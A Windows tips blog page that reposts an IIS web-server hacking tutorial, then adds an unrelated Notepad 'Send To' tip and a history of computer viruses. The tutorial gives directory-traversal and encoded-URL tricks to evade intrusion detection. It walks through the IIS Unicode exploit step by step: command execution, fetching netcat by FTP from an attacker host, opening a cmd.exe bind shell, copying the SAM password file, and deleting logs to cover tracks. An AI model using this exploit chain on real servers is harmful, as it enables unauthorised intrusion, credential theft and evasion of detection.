Windows Help Center

Your One Stop Blog for all Windows XP and VISTA tricks,tweaks ,hacks and much more.

Followers

Ads By Google

1000 Awesome Things About India

Blog Stats

recent Tricks

Ads By Google

Link Unit By Google

Categories

Register for Free

Google Search

On the first day, God created directory traversal

Relative paths are the developers friend. They allow an entire website to 
be moved to another directory without the need for changing all the links 
in the html. For example, lets say we have a webpage called 'pictures.html' 
in the htdocs dir:

  Absolute path:  /home/webpages/htdocs/pictures.html
  Absolute path:  /home/webpages/images/pic1.gif

In the html you can refer to the 'pic1.gif' via an absolute path shown 
above or use a relative path:

  Relative path: ../images/pic1.gif

The relative path tells the server that it has to go to the parent 
directory (dot dot) -->  from /home/webpages/htdocs to /home/webpages. Then 
the server goes into the images dir and looks for the gif file to display.

Anyone who has used the 'cd' command in DOS and *nix should be familiar 
with the operation. So what's the problem I hear you ask... well, the 
programmers of web server didn't think to check the supplied URL to ensure 
that the requested file was actually in the web directory. This allows 
someone to backtrack through the servers directory structure and request 
files that the web server has access to. For example,

  http://www.target.com/../../../etc/passwd

NB. you can also use double dots and double quotes. This is useful to evade
Intrusion Detection Systems (IDS):

  http://www.target.com//....//....//...././etc/./passwd

The webserver simply strips the extra stuff out and processes the request.
This is the same as the previous example and can make string matching IDS's
work for their money.


--[On the second day, God created Hexadecimal]

Once programmers started to realise the mistake they began to create parser 
routines to check for naughty URL's and keep the requests within the 
document root. Then along comes a wiley hacker who wonders if by encoding 
the URL will it still be recognised by the parser routines.

You may have noticed that when you enter a URL that includes a space it is 
replaced with the hex equivalent (%20):

  http://www.target.com/stuff/my index.html

  becomes

  http://www.target.com/stuff/my%20index.html

and voila, it works. So what would happen if we changed the now denied URL:

  http://www.target.com/../../../etc/passwd

  to

  http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd
 
The parser routine checks for the existence of dots in the path and finds 
none... the webserver then proceeds with the request.

An interesting feature is that you can encode the hex symbol  and the web 
server will decode it all for you. This is called the "double decode". 
For example, given the URL "http://victim.com/..%252f..%252fdocs/", the 
following will take place:

(1) On the first decode, the string will be converted to:

  "http://victim.com/..%2f..%2fdocs/"

  [%25 = '%' so '%252f' is decoded to '%2f']

(2) On the second decode, the string will be converted to:

  "http://victim.com/../../docs/"

  [%2f = '/']


--[On the third day, God created Unicode]

The World Wide Web is a global phenomenon and as such needs to be globally 
interoperable. This raised the question of how to deal with all the different 
character sets around the world. As a response to this, Unicode was created:

   -----------------------------------------------------------------
   Unicode provides a unique number for every character, no matter 
   what the platform, no matter what the program, no matter what 
   the language. The Unicode Standard has been adopted by such 
   industry leaders as Apple, HP, IBM, JustSystem, Microsoft, 
   Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is 
   required by modern standards such as XML, Java, ECMAScript 
   (JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official 
   way to implement ISO/IEC 10646. It is supported in many operating 
   systems, all modern browsers, and many other products.
   -----from http://www.unicode.org---------------------------------


The problem with Unicode is that it requires 16 bits for a single character 
and software tended to use 8 bits for a single character. Unicode TransForm 
using 8 bits (UTF-8) was created. This allows for multibyte encoding where a 
variable number of bytes can be used for each character:

  Character  1-byte  2-byte  3-byte 
   .         2E      C0 AE   E0 80 AE 
   /         2F      C0 AF   E0 80 AF 
   \         5C      C1 9C   E0 81 9C 

This lead to a new vulnerability in certain webservers. The parser didn't 
understand this new encoding and allowed it through :-)

For example:

  www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwd

Recent vulnerabilities have been taking advantage of the fact that the web 
server doesn't understand the Unicode UTF-8 character set but the underlying 
OS does:

  www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dir

Understanding the distinction between Unicode and UTF-8 can be difficult. As
a general rule of thumb you can use the following format as a guide:

  %uxxxx          = Unicode
  %xx%xx          = UTF-8
  %xx             = Hexidecimal
  %xxxx           = Double Decode

--[On the fourth day, God created default installs]

IIS comes installed with various DLL's (Dynamic Link Libraries) that 
increase the functionality of the web server. These ISAPI (Internet Server 
API) applications allow programmers/developers to deliver more functionality 
to IIS.

The DLL's are loaded into memory at startup and offer significant speed 
over traditional CGI programs. For example, they can be combined with the 
Internet Database Connector (httpodbc.dll) to create interactive sites that 
use ODBC to access databases.

The problem is that some of these DLL's are insecure and are often installed 
with sample scripts that demonstrate how to exploit, erm, I mean use them.

ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active 
Server Pages) are basically HTML pages with embedded code that is processed 
by the webserver before serving it to the client. 

Here's some examples to illustrate how the sample pages installed by default
can aid someone breaking into your site via the ASP.DLL:
[prefix all the examples with http://www.target.com]

  /default.asp.

   ** Appending a '.' to the URL can reveal the source 
   ** on older systems. Remember hex encoding? You can 
   ** also try using %2e to do the same thing.

  /msadc/samples/adctest.asp

   ** This gives you an interface into the msadcs.dll 
   ** and allows creation of DSN's. Read RFP's stuff
   ** for idea's on how to exploit this.

  /iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini
  /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini

   ** You can view the source of anything in the 
   ** document root. '/msadc/' needs to be in the 
   ** request as it is checked for, wait for this,
   ** security :-)

  /index.asp::$DATA

   ** Appending '::$DATA' to the URL can reveal
   ** the source of the ASP.

  /index.asp%81
  
   ** Append a hex value between 0x81 and 0xfe
   ** and you can reveal the source of any server
   ** processed file. This only works on servers
   ** that are Chinese, Japanese or Korean.

  /AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|

   ** This one allows you to execute remote
   ** shell commands ;-)

ISM.DLL is used to process requests that end in ".htr". These pages were used 
to administer IIS3 servers. In IIS4 they are not used but various .htr samples 
are installed by default anyway and offer another avenue for entry.

  /index.asp%20%20%20..(220 more)..%20%20.htr

   ** IIS will redirect this request to ISM.DLL,
   ** which will strip the '.htr' extension and
   ** deliver the source code of the file.
  
  /global.asa+.htr

   ** Does the same thing as the %20%20 exploit
   ** above. ISM.DLL strips the +.htr and delivers
   ** you the source of the file

  /scripts/iisadmin/ism.dll?http/dir

   ** Excellent brute force opportunity if the
   ** dll exists. Successful logons will reveal
   ** lots of useful stuff.

  /iisadmpwd/aexp.htr

   ** The iisadmpwd diectory contains several .htr 
   ** files that allow NetBIOS resolution and 
   ** password attacks.

  /scripts/iisadmin/bdir.htr??c:\inetpub\www

   ** This method will only reveal directories
   ** but can be useful for identifying the 
   ** servers structure for more advanced 
   ** attacks later.

MSADCS.DLL is used to allow access to ODBC components via IIS using RDS 
(Remote Data Service). RDS is part of the default install of Microsoft Data 
Access Components (MDAC) and is a commonly exploited on IIS. It can allow
arbitrary shell commands to be executed with system privileges.

  /msadc/msadcs.dll

   ** If this file exists then there's a pretty 
   ** good chance that you can run the RDS 
   ** exploit again the box. More on this later.

HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the web
server wants to connect to a database. It allows the creation of web pages
from data in the database, and it allows you to update/delete items from 
within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLL
for processing. 

  /index.idc::$DATA

   ** Appending '::$DATA' to the URL can reveal
   ** the source of the IDC.

  /anything.idc
  
   ** Requesting a non-existance file will
   ** reveal the location of the web root.

  /scripts/iisadmin/tools/ctss.idc

   ** Creates a table based on the parameters it 
   ** receives. Excellent place to look at for 
   ** SQL injection.

SSINC.DLL is used for processing Server Side Includes (SSI). '.stm', 
'.shtm' and '.shtml' extension are sent to the DLL which interprets
the SSI statements within the HTML before sending it to the client.

An example of SSI would be:

  

This SSI tells the server to include the 'news.txt' in the final HTML 
sent to the use. SSI statements are beyond the scope of this document 
but offer another security hole open to our wiley hax0r. Ensure you 
remove the app mapping and disable SSI if you do not require its 
functionality.

SSINC.DLL is also vulnerable to a remote buffer overflow, read the 
following advisory for details:

  http://www.nsfocus.com/english/homepage/sa01-06.htm

Some examples of SSINC.DLL fun:

  /anything.stm

   ** If you request a file that doesn't exist
   ** then the server error message contains the
   ** the location of the web root.

  /somedir/anything.stm/somedir/index.asp

   ** Using this method allows you to view the
   ** the source code for index.asp. 
  
IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'
requests. This DLL has had some big exposure with the recent Nimda worm. 
I'm not going into too much detail but '.ida' was used in a buffer 
overflow that resulted in user defined code being executed on the server.

  /anything.ida or /anything.idq
  
   ** Requesting a non-existance file will
   ** reveal the location of the web root.

  /query.idq?CiTemplate=../../../boot.ini

   ** You can use this to read any file on
   ** the same drive as the web root

CPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your 
IIS server, via a web browser or the Web Publishing Wizard. The existance of 
this DLL can allow attackers upload files to the server. Other files such as
uploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with Site
Server and allow upload of documents to the server:

  /scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp

   ** If this file is there then you may be able
   ** to upload files to the server.

  /scripts/uploadn.asp
  
   ** Connecting to this page gives you a nice
   ** gui for uploading your own webpages. You
   ** probably need to brute the userid.

There are lots more example scripts in the default install and quite a few 
of them are very, very insecure. Microsoft recommends that you remove ALL 
samples from any production server including the ExAir, WSH, ADO and other 
installed samples.

  IIS Default Web Site
  --------------------
  IISSAMPLES  - c:\inetpub\iissamples
  IISADMIN    - c:\winnt\system32\inetsrv\issadmin
  IISHELP     - c:\winnt\help
  SCRIPTS     - c:\inetpub\scripts
  IISADMPWD   - c:\winnt\systems32\inetsrv\iisadmpwd
  msadc       - c:\program files\common files\system\msadc
  logfiles    - c:\winnt\system32\logfiles
  default.htm - c:\inetpub\wwwroot

  IIS Default App Mapping
  -----------------------
  .asa   - c:\winnt\system32\inetsrv\asp.dll
  .asp   - c:\winnt\system32\inetsrv\asp.dll
  .cdx   - c:\winnt\system32\inetsrv\asp.dll
  .cer   - c:\winnt\system32\inetsrv\asp.dll
  .htr   - c:\winnt\system32\inetsrv\ism.dll
  .idc   - c:\winnt\system32\inetsrv\httpodbc.dll
  .shtm  - c:\winnt\system32\inetsrv\ssinc.dll
  .shtml - c:\winnt\system32\inetsrv\ssinc.dll
  .stm   - c:\winnt\system32\inetsrv\ssinc.dll


--[On the fifth day, God created Frontpage Extensions]

Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've 
ever wondered why they use _vti_) is a web design tool that helps you 
create and maintain a web site and allows you to publish it to the web 
server. 

In order to publish using Frontpage the server needs to run certain 
programs, collectively called the Frontpage Server Extensions.

Sounds good I hear you say, but there are many, many security holes in 
Frontpage. You can list all the files, download password files and upload 
your own files on Frontpage enabled sites.

When you publish a file, Frontpage attempts to read the following URL to 
get all the information it needs to publish:

  http://www.myserver.com/_vti_inf.html

Then Frontpage uses the following URL to POST the files to the site:

  http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpc

It will come as no surprise that this file is not protected and open to 
abuse.

All information for the site is stored in the /_vti_pvt/ dir, and its world 
readable. Here's some of the things you can look for:

  http://www.myserver.com/_vti_pvt/administrators.pwd
  http://www.myserver.com/_vti_pvt/authors.pwd
  http://www.myserver.com/_vti_pvt/service.pwd
  http://www.myserver.com/_vti_pvt/shtml.dll
  http://www.myserver.com/_vti_pvt/shtml.exe
  http://www.myserver.com/_vti_pvt/users.pwd
  http://www.myserver.com/_private


--[On the sixth day, God created CGI]--

The Common Gateway Interface (CGI) is a standard for interfacing external 
applications to the web server. A CGI program is excuted in real time and 
is used to create dynamic web sites.

Generally, the CGI programs are kept in '/cgi-bin/' but can be placed 
anywhere. The programs can be written most languages but typically they are 
written in C, Perl or shell scripts.

Many sites will use freely available, downloadable scripts from places like 
Matt's Trojan, erm, I mean Matt's Script Archive. Its always a good idea to 
look through the source of the scripts for bad system calls and lax input 
validation.

CGI deserves a tutorial all to itself and I strongly suggest that you read 
the following tutorials... they explain it better than I ever could:

  Hacking CGI       - http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt
  Perl CGI Problems - http://www.phrack.com/phrack/55/P55-07

Just to get you in the mood we will have a brief look at CGI exploitation.
There are three main types of CGI hacking; URL encoding attacks, input 
validation exploits and buffer overflows.

The first thing to keep in mind is that you are already able to exploit cgi 
using the techniques from previous sections. First, we need to cover some 
background. CGI can take lots of shapes and forms. One popular use is via
web based forms that submit information to a CGI via a GET or POST.

  

When the user clicks on the submit button his information is passed to the 
CGI script to process either via the URL (GET) or via HTTP headers (POST). 
Lets assume that the CGI we are going to exploit asks the user for the name 
of a file to display. The 'GET' method uses the URL to pass the information 
and it would look like this:

  http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd

Lets break that down:

  ?            - separates the request from the parameters
  filename     - this is the name of the textbox in the html
  =            - assignment for the parameter/value pair
  /etc/passwd  - this is what the user typed into the box

You can have multiple fields within a HTML form and these will also be 
passed to the CGI. They are separated using a '&':

  http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd&user=fugjostle

If you were thinking how could you alter the user supplied input to break 
the CGI then good, you're starting to think in terms of security. Lots of 
developers love to program new and interesting things but they do not 
consider security. A security conscious programmer would write input 
validation routines that would process the data and ensure the user wasn't 
be malicious or curious. 

As you read through some of the free scripts on the web you will start to 
realise that many programmers do not think about security. Lets look briefly 
at some ways we could exploit the CGI. The first thing to keep in mind is 
that you already know the generic exploits from the previous section. The 
only area in which we are lacking is programming language specific info.

We will stick with the example cgi that open's a file (and let's assume 
its written Perl). Lets look at some of the things we can try:

  my_cgi.pl?filename=../../../../../etc/passwd

and lets do the same thing but encode the URL to bypass security checks:

  my_cgi.pl?filename=../..%c0%af../..%c0%af../etc/passwd

If you have read the RFP document above then you will be familiar with 
poison null bytes. Stop now and go read it... can't be arsed? ok then,  
here's the quick version. %00 is valid in a string with Perl but is NUL 
in C. So? When Perl wants to open the file it makes a request to the
operating system through a system call. The operating system is written in 
C and %00 is a string delimiter. Lets apply this technique to the 
following situation.

I decide to secure my CGI. I append '.html' to any request. This means that 
the user can only view html files and if they try something else then it 
doesn't exist. wh00p @ me :-)

But... what if I was to do the following:

  my_cgi.pl?filename=../../../../etc/passwd%00

In Perl the filename string would look like this:

  "../../../../etc/passwd\0.html"

Perfectly valid under Perl. I have done my job... or have I? When this is 
passed to the OS (which is written in C not Perl) the request looks like 
this:

  "../../../../etc/passwd"

The OS identifies %00 as the string delimiter and ignores anything that 
Comes after it. The webserver then displays the /etc/passwd file... bugger :-(

Many people download scripts from the web and look for problems in the 
script. Then the wiley hax0r will go to altavista and search for sites 
that are using that script, eg:

  url:pollit.cgi

and good old altavista provides a list of sites that are just ripe for the 
taking.

The final method of exploiting CGI is via buffer overflows. Languages like 
Java and Perl are immune to buffer overflows because the language looks 
after memory management. Programs written in a language such as C are 
vulnerable because the programmer is supposed to manage the memory. Some 
programmers fail to check the size of data it is fitting into the memory 
buffer and overwrites data in the stack. 

The goal of the buffer overflow is to overwrite the instruction pointer
which points to the location of the next bit of code to run. An attacker 
will attempt to overwrite this pointer with a new pointer that points to 
attacker's code, usually a root shell.

Quite a few CGI's exist that are vulnerable to this type of attack. For 
Example, counter.exe is one such CGI. By writing 2000 A's to the CGI cause
a Denial of Service (DoS).

The details of buffer overflows are beyond the scope of this document. 
Look out for a future release ;-)

If you want to dig deeper in buffer overflows then have a look at:

  http://www.phrack.com/phrack/49/P49-14


--[On the seventh day, God chilled and haxored the planet]

Well.. I guess its time we actually tried some of the things discussed but 
I'm not going to cover everything. I suggest going to the following URL's 
and searching for IIS:

  http://www.securityfocus.com/
  http://www.packetstormsecurity.com/

My main reason for doing this file was to better understand Unicode exploits 
and so that is going to be the focus of the exploitation. The first exploit 
I'm going to go through is the recent Unicode exploit for IIS4/5: 

  http://www.securityfocus.com/bid/1806

Before I get emails saying 'hold on, you said that %xx%xx is UTF-8" let me 
explain. This had wide exposure on Bugtraq as the Unicode exploit. In 
reality, this is not a Unicode sploit but a UTF-8 sploit. I'm going to keep 
calling this the Unicode exploit because its now referenced by this name in 
the Bugtraq archives and you'll have to search using Unicode to do further
research.

Ok, rant over... To check if the server is exploitable, request the 
following URL:

  http://target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

You should get a directory listing of the C:\ drive on the target server. 
The important thing to note is that the Unicode string can vary depending 
where in the world you are. Some possible alternatives include:

  %c1%1c %c0%9v %c0%af %c0%qf %c1%8s %c1%9c %c1%pc 

There are many more to choose from, just look at some of the Bugtraq posts or 
research UTF-8 for more alternatives.

OK, you can read the directory... what next? You have the directory listing 
and the ability to run commands, so you need to find the web root. By default, 
the web root is at:

  c:\inetpub\wwwroot\

If its not there then go and look for it. Let's write a text file there and 
see if we can see it:

  cmd.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

hmmm.. it seems that we don't have write access. Ok, no problem we can get 
around that by creating a copy of the cmd.exe that has write privileges:

  cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\fug.exe

Let's check if it worked:

  http://target.com/scripts/..%c0%af../winnt/system32/fug.exe?/c+dir+c:\

Yep.. all's good so far. Lets try and write to the web root:

  fug.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

Let's open up it up in the browser and see if we can see it:

  http://target.com/test.txt

w00t!!! Write access!!! Right, we now have some options open to us. In the 
words of Microsoft, where do you want to go today? Working via the URL is 
pretty clunky and I like the comfort of a nice command prompt, So lets do 
that. I want to bring over a copy of netcat and a nice html page that I'll 
use to replace the existing one.

First I need to think about the script I want to run that will get the 
files I need from my FTP server:

 fugscript:
  open ftp.evilhaxor.com
  anonymous
  anon@microsoft.com
  cd pub
  get nc.exe
  get hacked.html
  quit

Right. I need to get this script onto the webserver:

  fug.exe?/c+echo%20open%20ftp.evilhaxor.com>fugscript
  fug.exe?/c+echo%20anonymous>>fugscript
  fug.exe?/c+echo%20anon@microsoft.com>>fugscript
  fug.exe?/c+echo%20cd%20pub>>fugscript
  fug.exe?/c+echo%20get%20nc.exe>>fugscript
  fug.exe?/c+echo%20get%20hacked.html>>fugscript
  fug.exe?/c+echo%20quit>>fugscript

OK.. now we have created a script on the server called fugscript. Next step 
is to execute the script and get my files from my web server.

  fug.exe?/c+ftp%20-s:fugscript

If all goes well the server should begin the FTP transfer and get your files 
transferred. Be patient and give it time to transfer. Now you are ready to 
get netcat listening on a port. The command line for starting netcat is:

  nc.exe -l -p 6667 -e cmd.exe

This tells netcat to listen (-l) on port 6667 (-p) and to spawn cmd.exe (-e) 
when someone connects. The last step is to translate this command into URL 
speak ;-):

  fug.exe?/c+nc.exe%20-l%20-p%206667%20-e%20cmd.exe

Fire up a telnet session and connect to port 6667 on the target system and 
voila... you have a cmd prompt. I really hate web defacements... so if your 
going to do it then rename the existing index.htm (or default.htm) to 
something like index.htm.old (give the poor admin a break, cause you can bet
your arse that he hasn't made a backup). ALSO: you are now using a system 
without authorisation and as such, you are guilty under the Computer Misuse 
Act in the UK and probably of something similar in your own country. If it 
never occurred to you to delete the contents of c:\winnt\system32\logfiles 
or the 'fugscript' file then you really shouldn't be doing this.



It just wouldn't be right to talk about IIS exploitation without mentioning 
msadc.pl. rfp's perl script is a perfect example of exploit chaining. A 
single exploit is not used but a chain of exploits to get the script to 
work.

The exploit utilises a combination of inadequate application input validation 
and default install fun. The process tries to connect to a Data Source Name 
(DSN) to execute commands.

rfp's script tests for the existence /msadc/msadc.dll using the GET method. 
This test will be logged and you should edit the script to make it a HEAD 
request and add some URL obfuscation madness. 

The default msadc.pl script uses "!ADM!ROX!YOUR!WORLD!" as the MIME 
separator string. It is advised to change this string as some IDS's are 
configured to identify this string.

If you want to write your own scanners then you should be looking for 
headers with the content type:

  application/x-varg

and of course the IIS version :-) I don't want to go into too much detail 
because this is heavily documented on rfp's site:

  http://www.wiretrip.net/rfp/

How do I use it? I hear you cry... well, its child's play:

  ./msadc2.pl -h www.target.com

If all goes well then you should be presented with the following:

  command:

Its interesting to note at this point that 'cmd /c' will is run as with the
previous exploit. You can edit the script to run any other executable such 
as 'rdsik /s' instead.

This is good, you can know enter the command you want to run on the server. 
The previous Unicode exploit should have given you some ideas but here's a 
couple that come to mind:

  Example 1:
  copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\fug.hak

  (grabbing fug.hak via your browser should give you a nice file to fire up 
   in L0phtcrack or JTR)

  Example 2:
  echo open ftp.evilhaxor.com>fugscript && echo fug>>fugscript
  && echo mypassword>>fugscript... etc. etc.
  
Anyway, that's about all for now. When I can be bothered I'll add some more 
methods to this file. Until then, ensure your box is fully patched and the 
default scripts are removed. Go have a look at the following URL and get 
secure:

  http://www.microsoft.com/security/


Many apply a registry tweak to have notepad as an option for unknown file types. We frequently see such files which are actually just text, but named with some odd file-extension. And then, some suspicious files which we want to make sure what the contents are. Well, in such cases where the registry tweak is applied, the downside happens to be that even some known files get associated with notepad - but no, all we want is to be able to open a file with notepad - the association part in such cases is unwanted interference. Also, notepad becomes a permanent fixture on the right-click menu - which is again an annoyance.

So what we do, is to have notepad as an option in the Send-To options, of the right-click menu in explorer. It fulfils the purpose to perfection (atleast, in my case). Here's what we do:

1. right-click desktop, choose "New >> Shortcut"
2. Type the location of the item - "notepad" - (that's all, no need to give path)
3. Next >> type name for shortcut - "Edit with Notepad"
4. Click finish
5. Now right-click this shortcut on the desktop, and choose properties.
6. Confirm that the "target" and "start in" fields are using variables - "%windir%\system32\notepad.exe" - (absolute paths will be problematic if you use this .LNK on machines other than your own)
7. Now, browse to "%UserProfile%\SendTo" in explorer (which means "C:\Documents and Settings\User_Name\SendTo\" folder)
8. And copy the "Edit with Notepad.lnk" file which you already created, to that folder.
9. So now, you can right-click on ANY file-type, and be offered an option to open with notepad, from the SendTo sub-menu.

So now, you just right-click on an .nfo or .eml or .diz file (which are associated with other programs, and are sometimes just plain-text files), and choose "Send To >> Edit with Notepad" and it will open in notepad!
No more botheration of applying registry tweaks for something as simple as this.

part 1


Like any other field in computer science, viruses have evolved -a great deal indeed- over the years. In the series of press releases which start today, we will look at the origins and evolution of malicious code since it first appeared up to the present.

Going back to the origin of viruses, it was in 1949 that Mathematician John Von Neumann described self-replicating programs which could resemble computer viruses as they are known today. However, it was not until the 60s that we find the predecessor of current viruses. In that decade, a group of programmers developed a game called Core Wars, which could reproduce every time it was run, and even saturate the memory of other players’ computers. The creators of this peculiar game also created the first antivirus, an application named Reeper, which could destroy copies created by Core Wars.

However, it was only in 1983 that one of these programmers announced the existence of Core Wars, which was described the following year in a prestigious scientific magazine: this was actually the starting point of what we call computer viruses today.

At that time, a still young MS-DOS was starting to become the preeminent operating system worldwide. This was a system with great prospects, but still many deficiencies as well, which arose from software developments and the lack of many hardware elements known today. Even like this, this new operating system became the target of a virus in 1986: Brain, a malicious code created in Pakistan which infected boot sectors of disks so that their contents could not be accessed. That year also saw the birth of the first Trojan: an application called PC-Write.

Shortly after, virus writers realized that infecting files could be even more harmful to systems. In 1987, a virus called Suriv-02 appeared, which infected COM files and opened the door to the infamous viruses Jerusalem or Viernes 13. However, the worst was still to come: 1988 set the date when the “Morris worm” appeared, infecting 6,000 computers.

From that date up to 1995 the types of malicious codes that are known today started being developed: the first macro viruses appeared, polymorphic viruses … Some of these even triggered epidemics, such as MichaelAngelo. However, there was an event that changed the virus scenario worldwide: the massive use of the Internet and e-mail. Little by little, viruses started adapting to this new situation until the appearance, in 1999, of Melissa, the first malicious code to cause a worldwide epidemic, opening a new era for computer viruses.



part 2


This second installment of ‘The evolution of viruses’ will look at how malicious code used to spread before use of the Internet and e-mail became as commonplace as it is today, and the main objectives of the creators of those earlier viruses.
Until the worldwide web and e-mail were adopted as a standard means of communication the world over, the main mediums through which viruses spread were floppy disks, removable drives, CDs, etc., containing files that were already infected or with the virus code in an executable boot sector.

When a virus entered a system it could go memory resident, infecting other files as they were opened, or it could start to reproduce immediately, also infecting other files on the system. The virus code could also be triggered by a certain event, for example when the system clock reached a certain date or time. In this case, the virus creator would calculate the time necessary for the virus to spread and then set a date –often with some particular significance- for the virus to activate. In this way, the virus would have an incubation period during which it didn’t visibly affect computers, but just spread from one system to another waiting for ‘D-day’ to launch its payload. This incubation period would be vital to the virus successfully infecting as many computers as possible.

One classic example of a destructive virus that lay low before releasing its payload was CIH, also known as Chernobyl. The most damaging version of this malicious code activated on April 26, when it would try to overwrite the flash-BIOS, the memory which includes the code needed to control PC devices. This virus, which first appeared in June 1998, had a serious impact for over two years and still continues to infect computers today.

Because of the way in which they propagate, these viruses spread very slowly, especially in comparison to the speed of today’s malicious code. Towards the end of the Eighties, for example, the Friday 13th (or Jerusalem) virus needed a long time to actually spread and continued to infect computers for some years. In contrast, experts reckon that in January 2003, SQLSlammer took just ten minutes to cause global communication problems across the Internet.

Notoriety versus stealth

For the most part, in the past, the activation of a malicious code triggered a series of on screen messages or images, or caused sounds to be emitted to catch the user’s attention. Such was the case with the Ping Pong virus, which displayed a ball bouncing from one side of the screen to another. This kind of elaborate display was used by the creator of the virus to gain as much notoriety as possible. Nowadays however, the opposite is the norm, with virus authors trying to make malicious code as discreet as possible, infecting users’ systems without them noticing that anything is amiss.



pat 3


This third installment of ‘The evolution of viruses’ will look at how the Internet and e-mail changed the propagation techniques used by computer viruses.

Internet and e-mail revolutionized communications. However, as expected, virus creators didn’t take long to realize that along with this new means of communication, an excellent way of spreading their creations far and wide had also dawned. Therefore, they quickly changed their aim from infecting a few computers while drawing as much attention to themselves as possible, to damaging as many computers as possible, as quickly as possible. This change in strategy resulted in the first global virus epidemic, which was caused by the Melissa worm.

With the appearance of Melissa, the economic impact of a virus started to become an issue. As a result, users -above all companies- started to become seriously concerned about the consequences of viruses on the security of their computers. This is how users discovered antivirus programs, which started to be installed widely. However, this also brought about a new challenge for virus writers, how to slip past this protection and how to persuade users to run infected files.

The answer to which of these virus strategies was the most effective came in the form of a new worm: Love Letter, which used a simple but effective ruse that could be considered an early type of social engineering. This strategy involves inserting false messages that trick users into thinking that the message includes anything, except a virus. This worm’s bait was simple; it led users to believe that they had received a love letter.

This technique is still the most widely used. However, it is closely followed by another tactic that has been the center of attention lately: exploiting vulnerabilities in commonly used software. This strategy offers a range of possibilities depending on the security hole exploited. The first malicious code to use this method –and quite successfully- were the BubbleBoy and Kakworm worms. These worms exploited a vulnerability in Internet Explorer by inserting HTML code in the body of the e-mail message, which allowed them to run automatically, without needing the user to do a thing.

Vulnerabilities allow many different types of actions to be carried out. For example, they allow viruses to be dropped on computers directly from the Internet -such as the Blaster worm-. In fact, the effects of the virus depend on the vulnerability that the virus author tries to exploit.



part 4


In the early days of computers, there were relatively few PCs likely to contain “sensitive” information, such as credit card numbers or other financial data, and these were generally limited to large companies that had already incorporated computers into working processes.

In any event, information stored in computers was not likely to be compromised, unless the computer was connected to a network through which the information could be transmitted. Of course, there were exceptions to this and there were cases in which hackers perpetrated frauds using data stored in IT systems. However, this was achieved through typical hacking activities, with no viruses involved.

The advent of the Internet however caused virus creators to change their objectives, and, from that moment on, they tried to infect as many computers as possible in the shortest time. Also, the introduction of Internet services -like e-banking or online shopping- brought in another change. Some virus creators started writing malicious codes not to infect computers, but, to steal confidential data associated to those services. Evidently, to achieve this, they needed viruses that could infect many computers silently.

Their malicious labor was finally rewarded with the appearance, in 1986, of a new breed of malicious code generically called “Trojan Horse”, or simply “Trojan”. This first Trojan was called PC-Write and tried to pass itself off as the shareware version of a text processor. When run, the Trojan displayed a functional text processor on screen. The problem was that, while the user wrote, PC-Write deleted and corrupted files on the computers’ hard disk.

After PC-Write, this type of malicious code evolved very quickly to reach the stage of present-day Trojans. Today, many of the people who design Trojans to steal data cannot be considered virus writers but simply thieves who, instead of using blowtorches or dynamite have turned to viruses to commit their crimes. Ldpinch.W or the Bancos or Tolger families of Trojans are examples of this


part 5


Even though none of them can be left aside, some particular fields of computer science have played a more determinant role than others with regard to the evolution of viruses. One of the most influential fields has been the development of programming languages.

These languages are basically a means of communication with computers in order to tell them what to do. Even though each of them has its own specific development and formulation rules, computers in fact understand only one language called "machine code".

Programming languages act as an interpreter between the programmer and the computer. Obviously, the more directly you can communicate with the computer, the better it will understand you, and more complex actions you can ask it to perform.

According to this, programming languages can be divided into "low and high level" languages, depending on whether their syntax is more understandable for programmers or for computers. A "high level" language uses expressions that are easily understandable for most programmers, but not so much for computers. Visual Basic and C are good examples of this type of language.

On the contrary, expressions used by "low level" languages are closer to machine code, but are very difficult to understand for someone who has not been involved in the programming process. One of the most powerful, most widely used examples of this type of language is "assembler".

In order to explain the use of programming languages through virus history, it is necessary to refer to hardware evolution. It is not difficult to understand that an old 8-bit processor does not have the power of modern 64-bit processors, and this of course, has had an impact on the programming languages used.

In this and the next installments of this series, we will look at the different programming languages used by virus creators through computer history:

- Virus antecessors: Core Wars

As was already explained in the first chapter of this series, a group of programs called Core Wars, developed by engineers at an important telecommunications company, are considered the antecessors of current-day viruses. Computer science was still in the early stages and programming languages had hardly developed. For this reason, authors of these proto-viruses used a language that was almost equal to machine code to program them.

Curiously enough, it seems that one of the Core Wars programmers was Robert Thomas Morris, whose son programmed -years later- the "Morris worm". This malicious code became extraordinarily famous since it managed to infect 6,000 computers, an impressive figure for 1988.

- The new gurus of the 8-bits and the assembler language.

The names Altair, IMSAI and Apple in USA and Sinclair, Atari and Commodore in Europe, bring memories of times gone by, when a new generation of computer enthusiasts "fought" to establish their place in the programming world. To be the best, programmers needed to have profound knowledge of machine code and assembler, as interpreters of high-level languages used too much run time. BASIC, for example, was a relatively easy to learn language which allowed users to develop programs simply and quickly. It had however, many limitations.

This caused the appearance of two groups of programmers: those who used assembler and those who turned to high-level languages (BASIC and PASCAL, mainly).

Computer aficionados of the time enjoyed themselves more by programming useful software than malware. However, 1981 saw the birth of what can be considered the first 8-bit virus. Its name was "Elk Cloner", and was programmed in machine code. This virus could infect Apple II systems and displayed a message when it infected a computer.



part 6


